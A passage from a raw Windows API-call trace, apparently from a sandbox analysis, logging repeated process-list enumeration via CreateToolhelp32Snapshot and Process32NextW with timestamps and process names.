dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.785] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.786] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.787] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.789] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.790] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.791] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.792] CloseHandle (hObject=0x144) returned 1 [0132.792] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x490) returned 0x144 [0132.805] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.806] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.808] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.810] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.813] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.816] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.818] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.821] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.822] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.823] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.825] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.827] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.828] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.829] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.831] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.833] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.835] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.836] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.839] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.841] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.842] CloseHandle (hObject=0x144) returned 1 [0132.842] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x4b0) returned 0x144 [0132.854] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.856] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.858] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.860] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.862] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.863] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.865] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.867] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.869] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.870] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.872] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.876] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.877] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.879] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.881] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.882] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.884] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.885] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.887] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.889] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.890] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.893] CloseHandle (hObject=0x144) returned 1 [0132.893] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x4d0) returned 0x144 [0132.907] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.909] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.911] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.912] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.916] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.918] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.920] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.922] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.923] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.925] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.927] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.928] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.930] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.932] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.934] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.938] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.940] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.941] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.943] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.945] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.946] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.948] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.949] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0132.951] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.953] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.954] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.956] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.986] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0132.988] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x7bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.989] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist.exe")) returned 1 [0132.991] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="standard private.exe")) returned 1 [0132.993] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="available section.exe")) returned 1 [0132.995] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="hold-policy-consider.exe")) returned 1 [0132.996] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, 